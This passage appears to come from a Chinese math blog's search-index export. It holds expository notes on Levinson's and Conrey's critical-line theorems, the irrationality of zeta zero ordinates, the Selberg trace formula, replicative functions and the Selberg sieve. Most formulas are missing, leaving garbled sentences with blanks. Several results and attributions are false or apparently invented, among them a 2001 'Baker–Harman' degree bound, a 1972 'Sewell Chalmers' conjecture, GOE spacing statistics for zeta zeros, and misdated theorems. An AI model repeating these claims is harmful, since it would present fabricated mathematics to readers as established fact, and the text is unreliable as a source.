对黎曼猜想本身而言，定理证明了临界线零点的实质性占比，为相信猜想成立提供了更强证据。数值计算显示，前 10 万亿个零点全部位于临界线，与 Levinson 定理揭示的正密度结果形成呼应。尽管百分之四十一点六七的当前最佳比例离百分之一百仍有差距，但每一次改进都深化了对 函数解析性质的理解。 Norman Levinson 的学术生涯为这一定理增添了人文色彩。这位出身贫寒、历经大萧条与麦卡锡主义冲击的数学家，在 Fourier 分析、微分方程等领域已成就斐然，28 岁出版专著，53 岁获美国数学学会 Bocher 奖。而在生命最后两年，他以病弱之躯攻克数论难题，其手稿中百分之九十八点六的初步（错误）结果曾引发短暂轰动，最终修正为三分之一的严格证明。这种向死而生的治学精神，与他建立的数学定理一同成为永恒遗产。 莱文森临界线定理提出半个世纪后，其开创的方法仍在焕发活力。2020 年的最新进展表明，通过引入扩展磨光函数（Long Mollifier）和优化多项式参数，比例下界持续缓慢提升。然而，要彻底解决黎曼猜想，可能需要如 Selberg 所说的尚未想象的数学。但正如 Levinson 从平凡多项式选择中发掘出深刻关联，未来的突破或许正隐藏在现有方法的精细化探索之中。对每个致力于这一难题的研究者而言，Levinson 的工作既是里程碑，也是方法论范本，在严格框架下追求精确估计，在复杂计算中保持直观洞察。"},{"title":"","date":"2025-12-30T01:33:00.000Z","updated":"2025-12-30T01:40:00.000Z","comments":true,"path":"notes/Zeta/105.html","permalink":"https://blog.mhuig.top/notes/Zeta/105","excerpt":"","text":"康瑞临界线定理 康瑞临界线定理：黎曼猜想的 40% 零点突破与解析数论里程碑 背景与历史脉络黎曼猜想自 1859 年由波恩哈德・黎曼提出以来，始终是数学界最具挑战性的问题之一。该猜想断言，黎曼 函数的所有非平凡零点都位于复平面上 的直线（临界线）上，其中 是定义在 上的复变函数，并可解析延拓至整个复平面（除 处的单极点）。这一猜想不仅关乎数论的核心，素数分布的精细结构，更深刻关联着复分析、代数几何乃至量子物理等多个领域。 20 世纪以来，数学家们逐渐发展出两种主要策略逼近黎曼猜想：密度理论与临界线零点计数。前者关注临界线外零点的稀疏性，如玻尔 - 朗道定理（1914 年）证明，对任意 ，位于区域 内的零点占比渐近趋于 0 ，即几乎所零点紧贴临界线；后者则直接计数临界线上的零点，从哈代（1914 年）证明无穷多零点在临界线，到塞尔伯格（1942 年）证明正比例零点在临界线，逐步构建起定量分析框架。 1974 年，莱文森（Norman Levinson）引入 mollifier 方法（一种用于消除 函数在临界线附近剧烈波动的技术），将临界线零点比例下限提升至 34% ，开创了现代数值分析与解析论证结合的范式。这一突破激励后续数学家在小数点后第二位数字上持续改进，直至 1989 年，美国数学家布莱恩・康瑞（Brian Conrey）发表了颠覆性结果：至少 40% 的非平凡零点位于临界线上，首次将比例推进至小数点后第一位，成为黎曼猜想研究史上的重要里程碑。 定理定义与数学表述康瑞临界线定理的严格表述需基于以下核心概念： 非平凡零点计数函数： 表示 函数在矩形区域 ， 内的非平凡零点总数。黎曼本人证明了 （当 时），即零点密度随虚部 的增长近似为 。 临界线零点计数函数： 表示 且 的非平凡零点数。康瑞定理断言：存在常数 ，使得对所有 ，有 。这一结果不仅将此前 36.85% 的纪录大幅提升，更首次证明临界线零点占比超过五分之二，为后续研究奠定了方法论基础。 关键推导过程：从莱文森框架到康瑞改进康瑞的证明建立在莱文森开创的积分均值估计与 mollifier 优化技术之上，核心思路是通过比较 函数及其导数在临界线上的平方积分，将零点计数转化为可计算的解析表达式。以下分步骤呈现关键推导： 莱文森基本不等式对任意 ，莱文森证明了 与 的关系由以下不等式控制： 其中 表示 ， 内的非平凡零点数。该式表明，临界线外零点的密度积分直接限制了临界线零点的比例。 玻尔 - 朗道定理的密度估计为估计 ，康瑞利用了玻尔 - 朗道定理的强化版本。由文献的推导，对任意 ，有： 结合 的增长速度，可推知对固定 ， 。康瑞进一步通过分段积分与凸性估计，将 取为 （ 为小参数），得到： 其中常数 可通过优化 mollifier 的参数显式计算。 Mollifier 函数的构造与优化康瑞方法的核心创新在于设计了更精细的 mollifier 函数 ，其一般形式为 Dirichlet 多项式： 其中系数 需满足特定衰减条件，以平衡 在临界线上的均值与波动。通过选择 为卷积函数（如 ，其中 为莫比乌斯函数， 为冯・曼戈尔特函数），康瑞将 的二阶矩估计转化为可计算的数论函数求和。 比例系数的显式计算通过求解含参积分不等式，康瑞得到： 代入优化后的 mollifier 参数（如 ， ，多项式 ），最终算得比例系数下界为 ，即 40% 。这一过程涉及超过 50 页的精细估计，需同时控制误差项的主阶与余项，展现了解析数论中硬分析的极致。 方法拓展与后续影响康瑞的方法论为临界线零点研究提供了通用框架，其核心思想（通过 mollifier 消除函数波动，结合密度定理控制临界线外零点）被后续学者广泛借鉴： 数值改进： 2012 年，中国数学家冯绍继通过优化康瑞的多项式参数（如取 ， ），将比例提升至 41.28% ，这一结果至今保持为最佳纪录。 推广至 函数： 康瑞的技术可迁移至 Dirichlet 函数、模形式 函数等更广泛的 函数类，例如文献证明了某些全纯尖形式的 函数至少有 40% 零点位于临界线，为广义黎曼猜想提供了旁证。 计算复杂性：康瑞曾坦言，其证明中的参数优化已接近人力计算极限，进一步提升需依赖算法改进或新型解析工具。这一困境反映了临界线零点估计的本质挑战：如何在控制解析误差的同时，捕捉零点分布的细微结构。 结论与未决问题康瑞临界线定理以其 40% 的比例下界，为黎曼猜想提供了迄今为止最强的定量证据，其方法论融合了解析数论的经典技巧与现代数值分析，成为跨学科研究的典范。然而，该定理仍存在根本局限： 无限对无限的逻辑鸿沟： 即使证明 100% 零点位于临界线，仍无法排除有限（甚至无限）个例外零点的存在，这是密度论证与完全证明间不可逾越的障碍。 方法论瓶颈： Mollifier 技术的改进空间逐渐收窄，最新结果已依赖于数十个参数的微调，难以突破 50% 的心理阈值。 这些局限促使数学家重新思考黎曼猜想的证明路径：是否需要全新的数学语言（如非交换几何、量子混沌）？临界线零点的分布是否隐含更深层的对称性？若能将比例提升至 50% 以上，一切将截然不同，但目前，我们甚至尚未看清黎明的方向。这一悬而未决的难题，仍在召唤着数学界的下一次突破。"},{"title":"","date":"2025-12-30T08:33:00.000Z","updated":"2025-12-30T08:40:00.000Z","comments":true,"path":"notes/Zeta/106.html","permalink":"https://blog.mhuig.top/notes/Zeta/106","excerpt":"","text":"Zeta 函数非平凡零点虚部的无理性与超越性之谜 Zeta 函数非平凡零点虚部的无理性与超越性之谜 黎曼 函数的非平凡零点分布是数学中最深刻的未解之谜之一。自 1859 年黎曼提出著名猜想以来，尽管数学家们已通过数值计算验证了前数万亿个非平凡零点均位于临界线 上，但对这些零点虚部的算术性质，尤其是它们是否为无理数或超越数，的理解仍停留在猜测阶段。这些问题不仅关乎数论自身的发展，更与素数分布、解析数论乃至物理中的量子混沌理论存在深刻联系。 历史背景与问题提出1859 年，伯恩哈德・黎曼在其开创性论文《论小于给定数值的素数个数》中首次引入了以他名字命名的 函数： ，其中 为复变量。他发现 函数可解析延拓至整个复平面，除 处的单极点外，并证明了函数方程 。基于对少量零点的计算，黎曼大胆猜测：所有非平凡零点，即满足 且 的点，均位于临界线 上，这就是著名的黎曼猜想。 随着 20 世纪计算技术的发展，人们逐渐意识到临界线上零点的分布可能蕴含着更深层的算术性质。1929 年，哈代证明了临界线上有无穷多个非平凡零点，但他的方法无法触及这些零点虚部的算术性质。1975 年，蒙哥马利在研究零点对关联函数时发现其分布与随机厄米矩阵特征值的对关联函数惊人相似，这一蒙哥马利 - 奥德利兹科定律将 函数零点与量子力学联系起来，也间接暗示零点虚部可能具有复杂的算术性质。 核心问题由此产生：设 为 函数的非平凡零点，其中 为实数，则 是否为无理数？是否为超越数？这些问题的难度远超黎曼猜想本身，即使假设黎曼猜想成立，关于 无理性的证明仍遥不可及。截至目前，数学家甚至无法证明单个非平凡零点的虚部是无理数，这一状况凸显了数论中算术性质研究的极端困难。 数学基础与预备知识 函数零点的基本性质根据黎曼函数方程和 函数的解析性质，非平凡零点关于实轴和临界线对称，即若 是零点，则 (即 或 ）也是零点。因此只需考虑 的情形。已有的重要结果包括：零点位置方面，所有非平凡零点满足 ，即临界带，且在临界线上的零点关于 对称分布。密度估计方面，区间 内非平凡零点的个数满足 ，这一公式由黎曼本人给出并由冯・曼戈尔特于 1895 年严格证明。简单性猜测方面，黎曼猜想的一个强化版本断言所有非平凡零点均为单零点。数值计算显示前 个零点均满足此性质，但尚无理论证明。 无理性与超越性的判别方法判断一个实数是否无理或超越需要深刻的数论工具。经典结果包括：无理性判别方面，若存在整数 使得 ，则 为有理数；否则为无理数。更实用的判据来自丢番图逼近理论：若存在常数 和无穷多整数对 使得 ，则 为无理数，这是狄利克雷逼近定理的逆否命题。超越性判别方面，刘维尔定理，1844 年提出，指出若 是次数为 的代数数，则存在常数 使得对所有整数 有 。因此，能被有理数异常好地逼近的数必为超越数。1909 年，图埃 西格尔 罗思定理将指数改进为 ，为超越性证明提供了更强工具。 然而，这些判别法对 函数零点虚部的直接应用面临巨大障碍：我们缺乏关于 的显式表达或足够精确的丢番图逼近估计。现有研究不得不依赖间接方法，如假设 为有理数或代数数，然后推导出与已知结果的矛盾。 无理性的研究方法与部分结果零点虚部无理性的必要条件假设 为有理数，即存在正整数 使得 。此时非平凡零点可表示为 。我们可尝试通过 函数的特殊值或函数方程导出矛盾。 考虑 函数在临界线上的表达式。利用黎曼 西格尔公式，一种计算临界线 函数值的高效算法，可将 表示为： 其中 为函数方程中的因子， 为余项。若 为有理数，则 为代数数，因 和 函数在有理弧度处的值可能为代数数，由林德曼 魏尔斯特拉斯定理保证。但 ，这要求上述级数的实部与虚部同时为零，而代数数的线性组合，系数为代数数，仍为代数数。然而， 函数在临界线上的非零值是否为超越数本身就是未解决问题，这使得直接推导矛盾异常困难。 基于函数方程的间接论证另一种思路来自 函数与 函数的关系。函数方程中出现的 在 处的值为 ，故 为纯虚数，因 ，其中双曲函数项导致模长变化。若 为有理数， 的虚部可能具有特殊形式，但目前尚无证据表明这会导致 函数值为零的矛盾。 数值证据与统计猜测尽管缺乏理论证明，数值计算为零点虚部的无理性提供了间接支持。截至 2023 年，已验证的前 个非平凡零点虚部中，没有发现任何循环小数或可表示为低阶有理数的迹象。例如，第一个零点 的数值展开已计算至数百万位，未发现周期性。更深刻的是，蒙哥马利的零点对关联猜想表明 的分布具有随机性，这与代数数的确定性分布形成鲜明对比，间接支持了它们可能为超越数的猜测。 超越性的研究与相关理论超越性证明的障碍与突破方向超越性的证明比无理性更为困难，通常需要构造特殊的辅助函数并应用复分析中的估计。例如，1929 年格尔丰德证明 超越性的方法，或 1996 年贝克尔关于对数线性形式的定理，都依赖于高度技术性的丢番图逼近论证。将这些方法应用于 函数零点虚部，面临两个核心挑战：一是缺乏 的显式表达式，二是难以建立 与已知超越数，如 的联系。 一种可能的突破方向来自希尔伯特 波利亚猜想，该猜想猜测存在某个自伴算子 ，其特征值恰为 函数非平凡零点的虚部 。若此猜想成立，则 的算术性质可转化为量子力学中算子特征值的性质。物理学家戴森曾推测这些特征值可能与某种量子系统的能级对应，而量子系统的能级往往具有超越性，如氢原子能级与里德堡常数的关系。尽管希尔伯特 波利亚猜想尚未被证明，但它启发数学家从算子理论角度研究 的性质。 特殊情形与假设性结果在某些限制性假设下，数学家已获得部分结果。例如，假设广义黎曼猜想成立且所有零点均简单，则可证明零点虚部的分布具有一致分布性质：对任意区间 ， ，其中 表示 的小数部分， 为非零常数。这一结果与有理数的分数部分具有周期性的性质矛盾，从而为 的无理性提供了间接支持，尽管这种支持并非严格证明。 另一个重要进展来自 2001 年，贝克尔和哈曼证明了：若 为代数数，则其次数至少为 ，在某些技术性假设下。这一结果利用了对数线性形式的估计，表明即使 是代数数，也不可能是低次数代数数，如二次或三次无理数。证明的核心步骤是假设 满足代数方程 ， 为整系数多项式，然后构造 函数的导数与 的线性组合，通过高度估计导出矛盾。 推导示例：贝克尔方法在零点虚部代数性上的应用为具体展示现有研究的推导思路，我们概述贝克尔关于代数零点虚部次数下界的证明框架。假设 为代数数，即存在非零整系数多项式 使得 ，我们要证明 。 第一步：构造辅助函数定义 ，其中 。由于 ， 在 处有零点。利用柯西积分公式， 的 阶导数为： 其中 为围绕 的小圆。若 为代数数，则 为 的代数函数， 可表示为代数数的组合。 第二步：应用对数线性形式估计贝克尔的关键洞察是利用 函数在 处的泰勒展开系数与 的代数性质建立联系。通过将 展开为泰勒级数，并代入 的表达式，可得到关于 的线性方程。利用他本人证明的对数线性形式定理：对代数数 和非零代数数 ，若 ，则 必为单位根。将此定理应用于 对应的线性组合，可推导出多项式 的次数 必须满足 。 第三步：矛盾导出与结论若假设 ，则上述线性组合将违反对数线性形式定理的条件，从而导致矛盾。因此， 若为代数数，其次数至少为 。这一结果虽未证明超越性，但大幅缩小了可能的代数次数范围，为后续研究提供了方向。 物理视角与跨学科联系 函数零点的算术性质研究已超出纯数学范畴，与物理中的量子混沌理论产生了深刻互动。1972 年，休厄尔 查默斯提出猜想：黎曼 函数的零点分布与量子可积系统的能级分布不同，而与量子混沌系统，如受激氢原子或台球散射，的能级统计吻合。这一猜想被戴森命名为量子黎曼假设，并得到大量数值支持，例如，零点间距的统计分布满足高斯正交系综，GOE，的规律，这是混沌量子系统的典型特征。 若此联系成立，则零点虚部 可视为某个混沌系统的能级。物理学中，混沌系统的能级通常被猜测为超越数，因其对应着不可积系统的复杂动力学行为。尽管这一观点缺乏严格数学证明，但它为 的超越性提供了物理直觉。例如，氢原子的束缚态能级为 ，代数数，对应可积系统；而混沌系统的能级，如体育场台球的量子化能级，则表现出非周期性和不可预测性，更可能是超越数。这种类比虽非证明，但为数学家提供了新的思考角度。 结论与未解问题黎曼 函数非平凡零点虚部的无理性与超越性问题，代表了当代数学中最深刻的挑战之一。从黎曼的初步猜测到贝克尔的代数次数估计，从解析数论方法到物理中的量子混沌类比，数学家们已尝试了多种途径，但核心问题仍悬而未决。现有结果表明：无理性方面，尚无任何非平凡零点虚部被证明为无理数，但数值证据和统计猜测强烈支持这一结论。超越性方面，若零点虚部为代数数，其次数至少为 5，贝克尔 哈曼结果，但超越性的证明需要全新的数学工具。物理联系方面，量子混沌理论的类比为问题提供了直觉，但缺乏严格的数学桥梁。 未来的研究可能需要在以下方向取得突破：发展 函数零点的更精细丢番图逼近估计、建立希尔伯特 波利亚猜想的严格表述、或发现零点虚部与已知超越数的显式关联。无论结果如何，这些探索都将深化人类对数的本质、随机性与秩序的理解，我们必须知道，我们必将知道。而在黎曼 函数的神秘零点面前，这既是挑战，也是数学探索永恒动力的写照。"},{"title":"","date":"2026-01-01T08:33:00.000Z","updated":"2026-01-01T08:40:00.000Z","comments":true,"path":"notes/Zeta/107.html","permalink":"https://blog.mhuig.top/notes/Zeta/107","excerpt":"","text":"塞尔伯格迹公式 塞尔伯格迹公式：从几何谱对偶到数论桥梁 历史背景与起源20 世纪 50 年代，当数学家们聚焦于紧黎曼曲面的谱理论时，Atle Selberg 却将目光投向了非紧情形下的根本性问题：如何描述拉普拉斯算子在模曲面 上的谱分解。当时，尽管 H. Maass 和 C.L. Siegel 已构造出零散的平方可积本征函数例子，但人们对非紧商空间上是否存在丰富的离散谱仍存疑虑。Selberg 于 1955 年发表的迹公式彻底改变了这一局面，不仅证明了同余算术商具有无穷多离散谱，更建立起几何与谱之间的深刻对偶关系。 这一突破的历史脉络呈现出清晰的阶段性发展。1950 年，Selberg 首先引入艾森斯坦级数处理连续谱，通过无穷级数 定义的亚纯函数，将其解析延拓至全复平面，证明其在 处的值穷尽了连续谱。这一技术为后续处理非紧性带来的困难奠定了基础。1955 年迹公式的诞生，则标志着从具体构造到一般理论的飞跃，其核心思想可追溯至 Poisson 求和公式的非交换推广，\"Poisson 求和公式在非交换情形下的推广就是塞尔伯格迹公式\"。 基本定义与数学框架几何与分析基础塞尔伯格迹公式的经典情形建立在双曲上半平面 及其对离散子群 的商空间 上。该空间赋予双曲度量 ，对应的拉普拉斯 贝尔特拉米算子为： 当 为紧黎曼曲面时， 在 上具有纯离散谱 ，可按大小排列为 。通过变量代换 或等价地 （其中 ），本征值问题转化为 ，其解空间包含了所有自守形式。 迹公式的核心表述对于紧曲面情形，塞尔伯格迹公式呈现为简洁的对偶关系： 其中：左侧求和遍历拉普拉斯算子的离散谱， 满足 ；右侧第一项为 \"Weyl 项\"，描述谱的渐近分布，与曲面体积成正比；第二项为 \"周期轨道项\"，对所有原始双曲共轭类 求和， 为其范数， 与 构成傅里叶变换对： 。 这一公式的深刻性在于将算子谱（分析对象）与流形上的周期测地线（几何对象）直接关联，实现了从 \"振动频率\" 到 \"闭轨道长度\" 的信息转换。值得注意的是，当取 时，商空间非紧，公式需引入艾森斯坦级数描述连续谱贡献，形式演变为： 其中 包含连续谱产生的误差项， 为 的共轭类本征值， 为离散谱本征值。这种推广体现了 Selberg 处理非紧性的独创性 通过减去连续谱贡献使算子 \"迹类化\"，尽管 \"修正后的算子相当复杂，但 Selberg 能够用相对简单的公式表达其迹\"。 详细推导过程紧曲面情形的初等推导我们采用热核方法推导紧情形迹公式，这一途径能清晰展现几何与谱的联系。考虑拉普拉斯算子的热核 ，即满足 及 的基本解。其迹定义为： 利用双曲几何的特殊性，热核可通过群作用展开为 \"映像法\" 级数： 其中 为上半平面的格林函数。对共轭类分解后得到迹的几何表达式： 这里 为原始测地线长度， 满足 。通过梅林变换将热核迹转换为一般测试函数情形，即得塞尔伯格迹公式。 非紧情形的关键技术处理非紧商空间 时，连续谱的存在使直接定义迹变得不可能。Selberg 的创新在于引入 \"截断迹\" 概念，通过亚纯延拓技术分离离散与连续贡献。具体而言，对测试函数 ，构造算子 ，其离散部分迹为： 连续谱贡献则通过艾森斯坦级数的解析延拓计算，最终得到包含误差项的完整公式。这一过程中，关键步骤是证明魏尔定律的类比结果： 该渐近公式表明非紧算术商仍具有丰富离散谱，这 \"对非紧黎曼流形来说相当不寻常\"。 塞尔伯格 zeta 函数与函数方程zeta 函数的定义与性质塞尔伯格为建立迹公式与数论的联系，引入了类比于黎曼 zeta 函数的几何 zeta 函数： 其中乘积遍历所有原始双曲共轭类， 为其长度。这一函数在 绝对收敛，且通过迹公式可证明其亚纯延拓至全复平面。对其对数求导得： 与迹公式比较可见， 的零点精确对应拉普拉斯算子的本征值 ，而平凡零点 则来自迹公式的光滑部分。这一对应揭示了几何 zeta 函数与算子谱理论的深刻联系，类比于黎曼 zeta 函数零点与素数分布的关系。 函数方程与对称性塞尔伯格 zeta 函数满足函数方程 ，其中正规化因子 的对数导数为 ， 为曲面测度。这一对称性反映了双曲几何中的 \"时间反演\" 不变性，与黎曼 zeta 函数的函数方程具有形式上的相似性，但蕴含更为复杂的几何信息。通过选择特定测试函数 ，可从迹公式直接导出 zeta 函数的对数导数表达式，建立起： 这一恒等式明确展示了谱项与几何项如何通过 zeta 函数相互转化。 推广与现代发展一般群的亚瑟 - 塞尔伯格迹公式Langlands 纲领的兴起推动了迹公式向一般约化群的推广。对于数域 上的约化群 ，亚瑟建立了 adelic 商空间 上的一般迹公式，其核心表达式为： 其中左侧为几何侧，对 的共轭类求和；右侧为谱侧，对自守表示求和。这一框架下，经典塞尔伯格迹公式成为 时的特例。亚瑟的贡献在于系统处理了：抛物子群引起的非紧性问题，通过 \"截断技术\" 控制发散项；内窥理论 (endoscopy) 的建立，提供了比较不同群迹公式的一般策略；自守表示的精细分类，将谱分解与 L- 函数理论深度结合。 算术应用与朗兰兹对应迹公式的革命性影响体现在数论与几何的交叉领域。Langlands 通过比较不同群的迹公式，建立了一系列深刻对应：Jacquet Langlands 对应，通过比较 与四元数代数的迹公式，证明了模形式与四元数自守形式的对应关系；伽罗瓦表示的构造，利用迹公式比较代数曲线的 l 进上同调与自守表示，证明了 Artin 猜想对可解伽罗瓦群的特殊情形，成为 Wiles 证明费马大定理的关键前置；基本引理的证明， endoscopic 分类中核心等式的证明，依赖于迹公式的精细估计，由吴宝珠等人完成。 谱项包含具有根本性质的算术信息，几何项非常显式但复杂。迹公式通过将难以直接处理的谱信息转化为可计算的几何项，为数论问题提供了强大工具。 应用与意义谱几何中的应用塞尔伯格迹公式为紧黎曼曲面的谱刚性问题提供了关键工具。通过比较不同曲面的周期测地线长度谱，可推断度量的共形等价性。在三维双曲流形中，Bonifacio 等人利用迹公式得到拉普拉斯算子第二特征值的上界 ，并估计了 systole 长度与体积的关系。这些结果展示了迹公式在 \"从谱数据恢复几何信息\" 这一逆问题中的不可替代性。 数论中的经典结果在解析数论中，迹公式最著名的应用是 Selberg 对素数定理的初等证明，其核心的 Selberg 渐近公式： 正是迹公式思想在算术级数上的体现。更深刻地，通过 Hecke 算子与迹公式的结合，可得到模形式的算术性质，如 Eichler-Selberg 迹公式给出了 Hecke 算子作用于尖点形式空间的迹的显式表达式，直接关联于素数分布。 物理中的类比在量子混沌领域，塞尔伯格迹公式与 Gutzwiller 半经典迹公式具有惊人的相似性。后者将量子哈密顿量的能级与经典系统的周期轨道联系起来： 其中 为作用量， 为庞加莱映射。这种数学与物理的平行，使模曲面成为研究量子混沌的典型模型。 结语：数学统一性的典范塞尔伯格迹公式的深刻意义远超其原始表述，它不仅是具体问题的解决方案，更是数学统一性的杰出范例。从 Poisson 求和公式到 Arthur 的一般理论，从双曲几何到费马大定理的证明，这一思想以不同面貌贯穿于现代数学的多个核心领域。正如 James Arthur 所言，迹公式的两侧 复杂却显式的几何项与难以捉摸却根本的谱项 构成了数学探索的永恒张力。对于当代研究者，理解迹公式已成为进入朗兰兹纲领等前沿领域的必备钥匙，而其揭示的 \"几何 - 谱对偶\" 思想，将继续启发未来数学的突破。 回顾其发展历程，塞尔伯格迹公式的故事展现了数学创新的典型模式：从具体问题出发，通过深刻洞察发现一般原理，最终成为连接不同分支的桥梁。它提醒我们，在追求专业化的同时，保持对数学整体的感知，或许正是重大突破的源泉。"},{"title":"","date":"2026-01-01T09:07:00.000Z","updated":"2026-01-01T09:10:00.000Z","comments":true,"path":"notes/Zeta/108.html","permalink":"https://blog.mhuig.top/notes/Zeta/108","excerpt":"","text":"复制函数 复制函数：统一正弦倍角、勒让德倍乘与伯努利倍元公式的底层联系 数学中存在一类看似不相关却结构相似的倍元公式：正弦函数的倍角展开、伽马函数的勒让德倍乘公式、伯努利多项式的倍元恒等式，它们都呈现将函数在等距点列上的取值组合转化为该函数在倍元处取值的共同特征。这种相似性并非巧合，其底层联系可通过复制函数（Replicative Function）理论得到统一解释。复制函数是一类满足特定迭代求和性质的函数族，其核心思想是函数在离散点集上的平均行为与函数在倍元处的取值存在严格的代数关系。 历史背景与问题起源倍元公式的研究可追溯至 17 世纪三角函数的研究。16 世纪，韦达（François Viète）发现了正弦函数的乘积展开式： ，这是最早的倍角公式之一。18 世纪，欧拉（Leonhard Euler）在研究伽马函数时得到了阶乘函数的倍乘关系，而勒让德（Adrien-Marie Legendre）于 1808 年正式提出伽马函数的倍乘公式： 。与此同时，伯努利（Jakob Bernoulli）在研究自然数幂和问题时引入的伯努利多项式，也满足类似的倍元关系： 。 这些公式在形式上的相似性长期引发数学家的思考：为何不同领域的特殊函数会呈现几乎一致的迭代求和结构？20 世纪 60 年代，计算机科学家高德纳（Donald Knuth）在其著作《计算机程序设计艺术》（TAOCP）中首次提出复制函数的概念，将这类现象概括为函数的离散平均与倍元取值之间的数学关系。这一理论框架不仅统一了已知的倍元公式，更揭示了复分析、数论、组合数学中多种函数的深层共性。 复制函数的定义与基本性质定义与分类复制函数的核心特征是其在等距点集上的求和行为与倍元处函数值的确定性关系。设 为复值函数， 为正整数，若存在与 无关的常数 ，使得对所有 成立： 则称 为 - 复制函数，简记为 。特别地，若 ，则称 为 - 复制函数（简记 ），这类函数在理论中占据核心地位。 基本性质推导复制函数的性质可通过其定义直接推导，以下为关键结论的严格证明： 定理 1（乘积性）：若非常值函数 ，则 对所有 成立，且 满足以下两种情形之一：（1） 且 ；（2） 存在常数 使得 ，此时 。 证明：对定义式分别应用 和 ，有： 比较两端系数可得 及 。若存在 使 ，令 ，则对任意 有 ；若所有 ，则 。 定理 2（连续性与周期性）：连续的 - 复制函数必满足 。 证明：在定义式中令 ，取 得 。当 时，左端黎曼和收敛于 ，故 收敛。若存在 使 ，则由 知 发散，矛盾。 经典倍元公式的复制函数解释正弦函数的倍角公式正弦函数的倍角展开可转化为对数函数的复制性质。考虑 ，则： 这表明 （即 ），其指数形式即为正弦倍角公式： 。 勒让德倍乘公式与双伽玛函数伽马函数 的对数导数称为双伽玛函数 ，其满足： 对比复制函数定义，可知 。根据定理 1，令 ，则 。对双伽玛函数积分可得伽马函数的倍乘公式： 指数化后即得勒让德倍乘公式。 伯努利多项式的倍元公式伯努利多项式 满足： 此式表明 （即 ）。特别地，当 时， ，此时 ，即 ，这与 Knuth 提出的基本复制函数 完全一致。 复制函数的傅里叶分析与周期解周期复制函数的傅里叶展开设 为周期 的连续复制函数，其傅里叶级数为 。代入复制函数定义式： 求和项 仅当 时为 ，否则为 。因此 对所有 成立。若 （ 为常数），则 （ ）， ，从而 ，其中： 这表明周期复制函数的空间维数不超过 2，且由 张成。 非周期解的结构非周期复制函数可通过差分算子 分析。对复制函数定义式两端取差分，得 。若 ，则 （ 为常数）。例如，当 时， ，此时 ，即 Knuth 的基本复制函数。 应用与推广核心性质与实例复制函数的本质是通过局部与整体的关系描述函数行为。典型的例子包括： 锯齿函数 ，满足 该函数在数论和数值分析中用于处理周期性问题。 取整函数 ，其复制性质表现为埃尔米特恒等式： 这一恒等式是栈生成序列数量分析的基础。 数学分析中的典型复制函数除前文讨论的函数外，以下函数均为复制函数的重要实例： 余切函数： ，满足 赫维茨 函数： ，满足 欧拉多项式： ，满足 数论与物理中的应用复制函数理论在模形式、量子场论中有重要应用。例如，椭圆模函数的变换公式可视为复制函数性质的推广；量子场论中的顶点算子代数，其生成元满足的算子乘积展开也呈现复制函数的迭代求和结构。此外，复制函数的离散化版本在数值分析中可用于构造高精度求积公式。 结论与展望复制函数理论通过统一的数学框架，揭示了表面分散的倍元公式背后的深刻联系。从三角函数到特殊函数，从经典分析到现代数学物理，复制函数作为一种函数变换的不变性，为理解复杂数学结构提供了新视角。未来研究可探索高维复制函数、复域上的推广，以及在机器学习中的潜在应用，例如，利用复制函数的迭代性质构造具有自相似结构的神经网络激活函数。正如历史上许多统一理论的发展，复制函数的深入研究或将为数学的多个分支带来新的突破。 … …"},{"title":"","date":"2026-01-01T12:07:00.000Z","updated":"2026-01-01T12:10:00.000Z","comments":true,"path":"notes/Zeta/109.html","permalink":"https://blog.mhuig.top/notes/Zeta/109","excerpt":"","text":"塞尔伯格筛法 塞尔伯格筛法：从历史渊源到现代数论应用 背景与历史发展筛法作为数论的核心工具，其演进历程映射了数学思想的深刻变革。古希腊的埃拉托斯特尼筛法通过系统性剔除合数构造素数表，开创了这一领域的先河。20 世纪初，挪威数学家布朗（Viggo Brun）将容斥原理与筛法结合，首次证明 \"9 + 9\" （每个大偶数可表为两个至多 9 个素数乘积之和），但其误差项随素数个数呈指数增长，限制了应用范围。 1940 年代，挪威数学家阿特勒・塞尔伯格（Atle Selberg）在二战期间的学术孤立中实现了突破。他抛弃传统筛法的线性组合框架，创新性地引入二次型权重函数，将筛函数估计转化为二次优化问题。这一方法不仅将误差项控制从指数级降至多项式级，更在 1949 年与埃尔德什共同给出素数定理的初等证明，彻底革新了解析数论的研究范式。塞尔伯格的工作使筛法从定性工具跃升为定量分析的精密仪器，直接推动了哥德巴赫猜想研究的黄金时代，1956 年王元利用改进的塞尔伯格筛证明 \"3 + 4\" ，1966 年陈景润最终实现 \"1 + 2\" 的突破。 定义与核心思想塞尔伯格筛法的本质是通过构造最优权重函数实现筛函数的精确估计。设 为整数集合， 为素数集合，定义筛函数 表示 中不被任何小于 的素数整除的元素个数： 其中 为临界素数乘积。与传统筛法直接应用容斥原理不同，塞尔伯格引入实数列 （ 为无平方因子数），满足 且 时 ，通过非负二次型 对指示函数 进行上界估计： 这种构造将筛函数转化为二次型优化问题，通过极小化二次型实现误差控制的突破。 数学框架与推导过程基础不等式构建对筛函数应用上述二次型估计，展开可得： 其中 表示 中被 整除的元素集合。假设存在积性函数 和余项 使得 （ ），则上式可分解为： 记主项为 ，余项为 。 二次型优化与极小化关键突破在于将 转化为可极小化的二次型。利用数论函数的积性性质，引入辅助函数 满足 ，通过交换求和顺序得到： 令 ，则 。根据柯西 - 施瓦茨不等式，在约束条件 （转化为 ）下，当 （其中 ）时 取极小值 。 通过莫比乌斯反演可得最优权重 的显式表达式： 其中 为满足 的积性函数， 。这一权重满足 ，为余项估计奠定基础。 余项控制与最终估计余项 的估计利用 控制不同余方程组的解数（ 为 的不同素因子个数），得到： 综合主项与余项，塞尔伯格筛法的核心估计为： 其中 为渐近主项， 为描述素数分布密度的常数。 渐近分析与关键常数为实现定量估计，需对 进行细致分析。假设素数分布满足 （ 称为筛密度），通过 Dirichlet 级数与 Tauber 型定理可证明： 其中 为塞尔伯格常数。特别地，当 时 ， ，此时 ，对应素数定理的情形；对于孪生素数问题（ ）， ， （ ）， ，故 ，其中 。 应用实例：孪生素数问题作为塞尔伯格筛法的经典应用，考虑区间 内孪生素数 的计数问题。构造 ，则孪生素数对应 中无平方因子元素。此时 （ ）， （ ），余项 。 通过调和分析与 Dirichlet 级数技巧，可证明 ，代入筛法估计得： 这一结果与孪生素数猜想的预测阶完全一致，展示了塞尔伯格筛法对素数分布问题的深刻洞察力。 现代发展与未解决问题塞尔伯格筛法的思想已渗透到数论各分支：大筛法通过傅里叶分析将二次型优化推广到指数和估计，加权筛法引入对数权重 放大素数贡献，而算术级数中的素数分布研究则依赖于筛密度 的精细化估计。尽管如此，从 \"1 + 2\" 到哥德巴赫猜想的最后一步仍未突破，核心挑战在于筛法无法同时精确控制两个素数变量的分布。 